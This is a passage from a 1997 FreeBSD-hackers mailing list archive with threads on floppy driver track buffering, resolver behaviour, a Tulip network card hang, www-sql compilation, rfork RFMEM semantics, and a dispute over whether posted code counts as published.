a multi-sector write, but the FDC still disassembles this into single write operations, with a read-before-write to find the respective sector ID fields. The only operation that writes an entire track without first reading the ID fields is FORMAT TRACK. > The reason that this is more reliable is that rate at which write > requests can be handled. Ideally, they will be chained in a single > write command. But still, it's only a matter of whether the driver requests several WRITE SECTOR commands, or whether the FDC splits the multisector command into single WRITE SECTOR operations. As long as the inter- sector gap is large enough for the interrupt code to setup the next transfer (which is even on a 386/sx-16), you don't lose anything. (Sequential) floppy transfer only starts to suck if you start losing a single sector, since this means you lose an entire revolution. Our normal floppy speed (30 KB/s) tells me that we don't use revolutions (which would mean the speed drops below 25 KB/s), so the difference to the maximal theoretical speed is caused by the track-to-track seek, which indeed loses part of a revolution. I agree that this loss could indeed be handled by a track buffer, that does a read ahead of the sectors that are passing the head before the desired sector arrives, and could hand out the data out of this buffer if they are requested later on, which is likely. The problematic thing with this is that there's no means in the NE765 to say ``READ ANY SECTOR'', so you have to specify a ``READ ID'' first, losing this sector's worth of data, in order to know which sector to read next. > > Why? The inter-sector gaps of floppies are large enough to give the > > CPUs that are in use these days time to setup the next transfers. > Because of the need to synchronize, of course. Relative seeks are > not very reliable (see "The Undocumented PC" for details). Why are they not very reliable? All the seeks are relative. Van Gilluwe's chapter about floppies made me quickly aware that he's not very experienced in this field either, so take his statements with the necessary grain of salt. How else could he still write nonsense about ``head loading'', even though the last drives that did an on-demand head loading were the good ol' 8-inch drives? (Still true in the second edition, i verified this in a bookstore.) > You are > assuming, incorrectly, that the process doing the writes will be > ready-to-run by the time the next write is going to happen. This > is a bogus assumption on a heavily loaded system. If the application wasn't quick enough to deliver more data, the track buffer wouldn't gain much either. You could only fall back to a sector-by-a-time mode then, or artificially defer the actual write operation (and bogusly report a ``good'' status to the caller), to collect more data in the meantime. Iff the application was quick enough to deliver more data, the track buffer doesn't gain you anything as well. The application could still issue a large write(2) syscall (e.g. 18 KB), which you split into single-sector transfers. Nothing's lost. You can do many not-so-simple, nitty-gritty things inside a floppy driver, but you should keep the old sentence in mind ``Never try to optimize something before you've profiled it.'' Track buffers belong into this class of non-optimizations. The only optimization i see is the above mentioned use of a track buffer to do read-ahead of unwanted but available sectors after a seek operation, in the hope that somebody is interested in the gathered data later on in the game. I have no doubts that it is possible to use a track buffer (Linux does, and IMHO NetBSD does, at least they do multi-sector transfers). Anyway, before i accept it as something useful, you have to prove first that it's really improving something more than your ego. ;-) > > If msdosfs is too stupid to cache the FAT, that's nothing a device > > driver should fix. There's the entire buffer cache in between. > > I disagree; there should be a two track cache intrinsic to the floppy > driver. The "other" track will always contain the fat during any > sequential access, because the sequential access requires a traversal > of the FAT chain. What the heck should the driver deal with FATs, i-node regions, or block pointers? It is a matter of filesystem implementations to take care of caching their data. It's a matter of drivers to make these data available, without any consideration about what data this might be. If a track buffer helps improving some filesystem performance, this only shows that the filesystem implementation has been poorly designed. > The MSDOSFS should cache the FAT before this is invoked, in any case, > because of the concept of long fat chains, which may overrrun a track > buffer (see the paper referenced in the previous posting). What is wrong with caching these metadata in the buffer cache? UFS has way more (and way more scattered) metadata, and it has properly shown that storing these data in the buffer cache improves performance. > SVR3 actually had a working FT driver in the kernel, and it used a > double buffer so that it could rewrite during resynchronization This merely sounds like the above idea of making some use of the sectors that are currently passing by. In the case of optimizing this for writes, you have the additional problem that you need to reorder the device queue all the time. (There's no disksort() in FreeBSD.) This is needed in order to be able to correctly report the success status back to the caller for each sector. For raw device IO, this is impossible, since only one transfer is queued by physio(9) by a time. (Hmm, the driver could try to be smarter if this transfer is more than one sector's worth of data.) For filesystem operation, it can indeed be a win. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 05:51:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA08518 for hackers-outgoing; Sun, 14 Sep 1997 05:51:00 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA08502 for ; Sun, 14 Sep 1997 05:50:55 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id OAA05218 for freebsd-hackers@FreeBSD.ORG; Sun, 14 Sep 1997 14:50:53 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id OAA10860; Sun, 14 Sep 1997 14:27:25 +0200 (MET DST) Message-ID: <19970914142725.EE13458@uriah.heep.sax.de> Date: Sun, 14 Sep 1997 14:27:25 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: nfs startup - perhaps it is a problem References: <19970914083149.SG24852@uriah.heep.sax.de> <199709141023.DAA15324@usr06.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709141023.DAA15324@usr06.primenet.com>; from Terry Lambert on Sep 14, 1997 10:23:21 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > > Who told you this? rlogind does a plain gethostbyaddr(), ... > iijppp told me this when I tried to rlogin to myself (actually, rsh) > to start an xterm under fvwm, and the rlogind did a getpeername(), > then did a gethostbyaddr() that, for no good reason, sent out DNS > packets, even though "hosts" appeared before "bin" in /etc/host.conf. > > So you could say that it's Empirically true, regardless of theory > and regardless of what it's supposedly doing. This would mean the resolver were broken. Did you tcpdump it? -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 07:42:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA12369 for hackers-outgoing; Sun, 14 Sep 1997 07:42:26 -0700 (PDT) Received: from nemesis.idirect.com (root@nemesis.idirect.com [207.136.80.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA12364; Sun, 14 Sep 1997 07:42:24 -0700 (PDT) Received: from thor.idirect.com (jlixfeld@thor.idirect.com [207.136.80.105]) by nemesis.idirect.com (8.8.5/8.8.4) with SMTP id KAA29246; Sun, 14 Sep 1997 10:42:23 -0400 (EDT) Received: from localhost (jlixfeld@localhost) by thor.idirect.com (8.6.12/8.6.12) with SMTP id KAA04065; Sun, 14 Sep 1997 10:42:21 -0400 X-Authentication-Warning: thor.idirect.com: jlixfeld owned process doing -bs Date: Sun, 14 Sep 1997 10:42:21 -0400 (EDT) From: Jason Lixfeld To: freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: DLINK 21140 Card Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have FreeBSD 2.2.2, DLink DEC Tulip 21140AE REV-2C Chipset with the if_de.c from Matt Thomas' site, 3am-software.com. I have tried with the 21140AC REV-1B Chipset, and am getting the same problems: It's fine on a bootup, but after a few hours, the ethernet just stops responding. Their is still a link light on my hub, put it is not pingable, and tests from the console are useless. ifconfig de0 shows the interface as being up, however I'm seeing a flag "OACTIVE" and I'm not sure that is supposed to be there. Has anyone had trouble with these cards/driver before, and does anyone have a solution? TiA.. From owner-freebsd-hackers Sun Sep 14 07:49:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA12737 for hackers-outgoing; Sun, 14 Sep 1997 07:49:58 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA12722 for ; Sun, 14 Sep 1997 07:49:50 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id AAA02254; Mon, 15 Sep 1997 00:17:38 +0930 (CST) Message-Id: <199709141447.AAA02254@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: spork cc: hackers@FreeBSD.ORG, grog@lemis.com Subject: Re: www-sql on FreeBSD (fwd) In-reply-to: Your message of "Fri, 12 Sep 1997 16:58:33 -0400." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 00:17:36 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The problem is that while mySQL works fine on FBSD, the associated w3-msql > equivalent, www-sql, was developed on Linux, and doesn't compile under > FreeBSD. I mailed the author, and got the reply shown below about > problems with a missing(?!) regex lib or somesuch. More likely, his code is expecting a different regex flavour. Greg, is this something that PUS has some words of wisdom on? > I have only had one conversation with someone else who uses FreeBSD, and > they had the same problem. The problem seems to be that FreeBSD > doesn't have a regex library. This is of course nonsense. FreeBSD has a perfectly good regex library. > I sent him an archive, containing some files that I thought might help. > The expression evaluator used in www-sql is simply the GNU version of the > shell command expr, with its user interface knocked off. In the hope that > it might be of some use, I have included the original `expr.c' as found in > the GNU sh-utils package, and a diff against it to get an `expr.c' that > will work with www-sql. The BSD expr is a yacc grammar with no user interface as such. It should be relatively trivial for someone with even minor hacking skills to rip the salient bits out of op_colon() in /usr/src/bin/expr.y and transplant them into the expr code supplied. HOWEVER last I recall, the gnu shellutils built just fine on FreeBSD. I suspect that the author may have either been overenthusiastic in ripping stuff out, or hasn't included all of the configuration knobs required to get the code to build properly. Have you looked at the function in question to determine if there isn't a compile-time option to tune for the BSD regex interface? You could also pick up the original shellutils package and check to see if its' expr(1) has BSD support. mike From owner-freebsd-hackers Sun Sep 14 07:56:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA13008 for hackers-outgoing; Sun, 14 Sep 1997 07:56:23 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id HAA13003 for ; Sun, 14 Sep 1997 07:56:20 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA06708 for freebsd-hackers@FreeBSD.ORG; Sun, 14 Sep 1997 16:56:09 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id QAA11120; Sun, 14 Sep 1997 16:53:22 +0200 (MET DST) Message-ID: <19970914165322.NS35867@uriah.heep.sax.de> Date: Sun, 14 Sep 1997 16:53:22 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Floppy Driver Problem Solved :^> References: <199709140945.EAA25747@nospam.hiwaay.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709140945.EAA25747@nospam.hiwaay.net>; from dkelly@hiwaay.net on Sep 14, 1997 04:45:58 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As dkelly@hiwaay.net wrote: > Teac makes a SCSI floppy, AKA: Floptical. Does the normal foppy densities > (not sure about 2.88M) plus 20M with the right disk. > > They appear on the surplus market sometimes for about $150. All SGI systems > with an optional floppy drive use them. About the worst piece of junk i've ever seen. Together with SGI's bright idea to mount them without a dust-protection flap, they hardly ever made it longer than 14 days without cleaning, even for plain floppies. Let alone the optical stuff. And, they were _dog_ slow. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 08:28:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA14153 for hackers-outgoing; Sun, 14 Sep 1997 08:28:01 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA14131 for ; Sun, 14 Sep 1997 08:27:58 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id KAA00185; Sun, 14 Sep 1997 10:27:52 -0500 (EST) From: "John S. Dyson" Message-Id: <199709141527.KAA00185@dyson.iquest.net> Subject: Re: What is wrong with this snipet? In-Reply-To: <199709141011.DAA01459@lestat.nas.nasa.gov> from Jason Thorpe at "Sep 14, 97 03:11:10 am" To: thorpej@nas.nasa.gov Date: Sun, 14 Sep 1997 10:27:52 -0500 (EST) Cc: freebsd-hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jason Thorpe said: > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > Simon Shapiro wrote: > > > Why would the following segfault on 6 of the 10 iterations? > > In the FreeBSD implementation of RFMEM (which does not match Plan 9's), > the child gets the same stack as the parent. If you "return" in the child, > someone's stack gets munched. > We are going to be supporting a super efficient threads scheme that uses the RFMEM capability. Sample code to use RFMEM is available upon request. It is already being used in commercial multi-threaded applications, but isn't ready for inclusion in FreeBSD (yet), due to a lack of more general userland support. RFMEM supports full address space sharing in FreeBSD, and it is a bug otherwise (whomever implemented it first.) -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Sun Sep 14 08:55:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA15183 for hackers-outgoing; Sun, 14 Sep 1997 08:55:24 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA15170 for ; Sun, 14 Sep 1997 08:55:14 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id PAA20298; Sun, 14 Sep 1997 15:43:57 +0100 (BST) Message-Id: <199709141443.PAA20298@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Mike Smith cc: Brian Somers , Greg Lehey , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-reply-to: Your message of "Sun, 14 Sep 1997 22:03:48 +0930." <199709141233.WAA01761@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 14 Sep 1997 15:43:57 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I think it's pretty rare that a machine wouldn't run inetd, and even > > rarer that it wouldn't run cron. > > Can you spell "firewall"? How about "embedded application"? I said rare, not unlikely :-) > mike > > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 09:11:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA15756 for hackers-outgoing; Sun, 14 Sep 1997 09:11:48 -0700 (PDT) Received: from wakky.dyn.ml.org (lee@1Cust32.tnt1.manassas.va.da.uu.net [153.37.113.32]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA15751 for ; Sun, 14 Sep 1997 09:11:43 -0700 (PDT) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id MAA15210; Sun, 14 Sep 1997 12:10:41 -0400 (EDT) Message-ID: <19970914121041.39698@wakky.dyn.ml.org> Date: Sun, 14 Sep 1997 12:10:41 -0400 From: Lee Cremeans To: Joerg Wunsch Cc: hackers@freebsd.org Subject: Re: Do *you* have problems with floppies? Reply-To: hcremean@vt.edu References: <19970914082044.BG34112@uriah.heep.sax.de> <199709141017.DAA15075@usr06.primenet.com> <19970914142654.GG28248@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970914142654.GG28248@uriah.heep.sax.de>; from J Wunsch on Sun, Sep 14, 1997 at 02:26:54PM +0200 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 02:26:54PM +0200, J Wunsch wrote: > > How else could he still write nonsense about > ``head loading'', even though the last drives that did an on-demand > head loading were the good ol' 8-inch drives? (Still true in the > second edition, i verified this in a bookstore.) I have seen 1985-vintage 1.2MB 5.25" drves that did on-demand head loading, made by TEAC and Y-E Data...they were used in the original ATs. -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD++^i WK+++r P&B++ SL++^i GDF B&M KK--i MD+++i P++ I++++ Did $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Sun Sep 14 09:28:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16363 for hackers-outgoing; Sun, 14 Sep 1997 09:28:18 -0700 (PDT) Received: from mail.fcg.net (root@mail.fcg.net [206.31.252.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16358; Sun, 14 Sep 1997 09:28:14 -0700 (PDT) Received: from second.puis.net (ip72.p.fcg.net [206.31.252.72]) by mail.fcg.net (8.8.5/8.8.5) with SMTP id LAA30542; Sun, 14 Sep 1997 11:28:09 -0500 Message-Id: <3.0.1.32.19970914112913.006e6578@fcg.net> X-Sender: isoft@fcg.net X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Sun, 14 Sep 1997 11:29:13 -0500 To: freebsd-questions@freebsd.org From: Kevin Bockman Subject: weird stuff happening :) Cc: freebsd-hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hey, im using 2.2.2-RELEASE this is the first time ive ever seen this message before Message from syslogd@pluto at Sun Sep 14 11:21:31 1997 ... pluto Sep 14 11:21:12inetd[: /etc/spwd.db what does it mean? is it fixed in 2.2-stable? thanks From owner-freebsd-hackers Sun Sep 14 10:23:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA18847 for hackers-outgoing; Sun, 14 Sep 1997 10:23:02 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA18826; Sun, 14 Sep 1997 10:22:54 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id KAA05915; Sun, 14 Sep 1997 10:16:46 -0700 (PDT) Message-Id: <199709141716.KAA05915@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: dyson@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: Re: What is wrong with this snipet? Reply-To: Jason Thorpe From: Jason Thorpe Date: Sun, 14 Sep 1997 10:16:45 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 14 Sep 1997 10:27:52 -0500 (EST) "John S. Dyson" wrote: > userland support. RFMEM supports full address space sharing in FreeBSD, > and it is a bug otherwise (whomever implemented it first.) Yes, I know what it does :-) (As does some similar work I'm doing in NetBSD). I was merely commenting that "full address space sharing" is not what the Real Plan 9 rfork(2) call does with RFMEM. My work on an rfork(2) for NetBSD originally was to support user threads. However, a few thing made me change my mind on that (one of them is signal delivery semantics, another is lack of sane way to give the new thread its own stack). Because of these (and other annoyances), it was decided that rfork(2) wasn't the right way to do this, and I punted on the idea of exporting an rfork(2) system call, especially since RFMEM as Plan 9 works isn't particularly useful for threads, and it seems lame to implement RFMEM differently from Plan 9 and still call it RFMEM :-) Of course, the upshot is that a good chunk of the infrastructure is now in place for a sane set of support-for-user-threads system calls, vfork(2) is REAL vfork(2) again, and it gave me an excuse to rototill a bunch of the signal code and data structures (which you also probably want to do if you're using "struct proc" to represent a user thread, and groups of one or more procs to represent a POSIX process). If you're interested in what I did to NetBSD's signal code (I still have a few things to change, because one of the changes I made incresed signal delivery latency a teensy bit, and I want to gain the time back), then drop me a note privately. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Sun Sep 14 10:44:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA19818 for hackers-outgoing; Sun, 14 Sep 1997 10:44:58 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA19813; Sun, 14 Sep 1997 10:44:55 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id LAA05630; Sun, 14 Sep 1997 11:44:51 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id LAA20155; Sun, 14 Sep 1997 11:42:58 -0600 (MDT) Date: Sun, 14 Sep 1997 11:42:57 -0600 (MDT) From: Marc Slemko To: Kevin Bockman cc: freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: weird stuff happening :) In-Reply-To: <3.0.1.32.19970914112913.006e6578@fcg.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Don't send mail to -hackers and -questions. If it goes to -questions, then it seldom goes anywhere else. Followups should go to either -questions or -hackers, depending on content. Your system probably ran out of memory. When that happens, things don't have enough memory to function and then when they try to log they don't have enough memory to log properly. On Sun, 14 Sep 1997, Kevin Bockman wrote: > hey, im using 2.2.2-RELEASE > > this is the first time ive ever seen this message before > > Message from syslogd@pluto at Sun Sep 14 11:21:31 1997 ... > pluto Sep 14 11:21:12inetd[: /etc/spwd.db > > > what does it mean? is it fixed in 2.2-stable? > > > thanks > From owner-freebsd-hackers Sun Sep 14 11:21:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA21631 for hackers-outgoing; Sun, 14 Sep 1997 11:21:55 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA21611; Sun, 14 Sep 1997 11:21:46 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id MAA01984; Sun, 14 Sep 1997 12:21:36 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id MAA19937; Sun, 14 Sep 1997 12:21:33 -0600 (MDT) Date: Sun, 14 Sep 1997 12:21:33 -0600 (MDT) Message-Id: <199709141821.MAA19937@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Rodney W. Grimes" Cc: Shimon@i-connect.net (Simon Shapiro), freebsd-hackers@freebsd.org, freebsd-scsi@freebsd.org Subject: Re: Patches on senderp-ppp.i-connect.net In-Reply-To: <199709140137.SAA00731@GndRsh.aac.dev.com> References: <199709140137.SAA00731@GndRsh.aac.dev.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > a) It is not ``proprietary'' unless you take legal and proper actions > to keep it as such. In most cases you have done just the opposite, > you've given pointers to it in a public forum. Correct. > b) The action of making it avaliable to anyone other than yourself > is `publication'', thierfor the code is not ``unpublished''. Then AT&T/USL/Novell/SCO code isn't publication either, since they contain the same wording. I'd tend to be believe that the above isn't true. > c) Your ftp server welcome message desen't even head any warnings > what so ever. I don't think it matters, since many ftp servers that distribute copyrighted software don't have welcome messages. Welcome messages aren't even standard on stock ftp server. But, the first clause alone is enough to make things 'interesting. Nate From owner-freebsd-hackers Sun Sep 14 11:39:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA22822 for hackers-outgoing; Sun, 14 Sep 1997 11:39:34 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA22799; Sun, 14 Sep 1997 11:39:28 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.8.5/8.7.3) id LAA01564; Sun, 14 Sep 1997 11:38:45 -0700 (PDT) From: "Rodney W. Grimes" Message-Id: <199709141838.LAA01564@GndRsh.aac.dev.com> Subject: Re: Patches on senderp-ppp.i-connect.net In-Reply-To: <199709141821.MAA19937@rocky.mt.sri.com> from Nate Williams at "Sep 14, 97 12:21:33 pm" To: nate@mt.sri.com (Nate Williams) Date: Sun, 14 Sep 1997 11:38:45 -0700 (PDT) Cc: Shimon@i-connect.net, freebsd-hackers@freebsd.org, freebsd-scsi@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > a) It is not ``proprietary'' unless you take legal and proper actions > > to keep it as such. In most cases you have done just the opposite, > > you've given pointers to it in a public forum. > > Correct. > > > b) The action of making it avaliable to anyone other than yourself > > is `publication'', thierfor the code is not ``unpublished''. > > Then AT&T/USL/Novell/SCO code isn't publication either, since they > contain the same wording. I'd tend to be believe that the above isn't > true. The AT&T/USL/Novell/SCO code is _only_ made avaliable under license agreement, and the _signed_ license is what keeps it unpublished. So you are correct, my statement was incomplete, whoever, Simons code has been ``published'' since he did not protect himself with a ``license''. > > c) Your ftp server welcome message desen't even head any warnings > > what so ever. > > I don't think it matters, since many ftp servers that distribute > copyrighted software don't have welcome messages. Welcome messages > aren't even standard on stock ftp server. People keep going back to ``copyright'' his copyright is fine, he has copyriht protection, but, the other parts are pretty much blown. Go back and even try and find the word copyright in my original mail message... > But, the first clause alone is enough to make things 'interesting. Yep..... -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation, Inc. Reliable computers for FreeBSD From owner-freebsd-hackers Sun Sep 14 11:43:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA22998 for hackers-outgoing; Sun, 14 Sep 1997 11:43:13 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA22992 for ; Sun, 14 Sep 1997 11:43:10 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id LAA02362; Sun, 14 Sep 1997 11:43:10 -0700 (PDT) Date: Sun, 14 Sep 1997 11:43:10 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199709141843.LAA02362@kithrup.com> To: hackers@freebsd.org Subject: Re: nfs startup - perhaps it is a problem References: <199709141023.DAA15324@usr06.primenet.com>; from Terry Lambert on Sep 14, 1997 10:23:21 +0000 Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <19970914142725.EE13458.kithrup.freebsd.hackers@uriah.heep.sax.de> J"org writes: >This would mean the resolver were broken. Did you tcpdump it? That's what I asked. Several times. From owner-freebsd-hackers Sun Sep 14 13:02:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27141 for hackers-outgoing; Sun, 14 Sep 1997 13:02:35 -0700 (PDT) Received: from time.cdrom.com (jkh@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA27136 for ; Sun, 14 Sep 1997 13:02:30 -0700 (PDT) Received: (from jkh@localhost) by time.cdrom.com (8.8.7/8.6.9) id NAA10017 for hackers@freebsd.org; Sun, 14 Sep 1997 13:02:30 -0700 (PDT) Date: Sun, 14 Sep 1997 13:02:30 -0700 (PDT) From: "Jordan K. Hubbard" Message-Id: <199709142002.NAA10017@time.cdrom.com> To: hackers@freebsd.org Subject: lib/libF77 and lib/libI77 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm wondering whether to update these in RELENG_2_2 but I'm a little puzzled at the fact that: 1. They don't have Makefiles or, in libI77's case, have a Makefile but don't build. 2. They're not referenced in the top level Makefile and hence are not built or included in the release binaries by default. Are these even used? If not, can I removed them? If so, HOW are they used? :-) Thanks. Jordan From owner-freebsd-hackers Sun Sep 14 13:14:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27900 for hackers-outgoing; Sun, 14 Sep 1997 13:14:41 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by 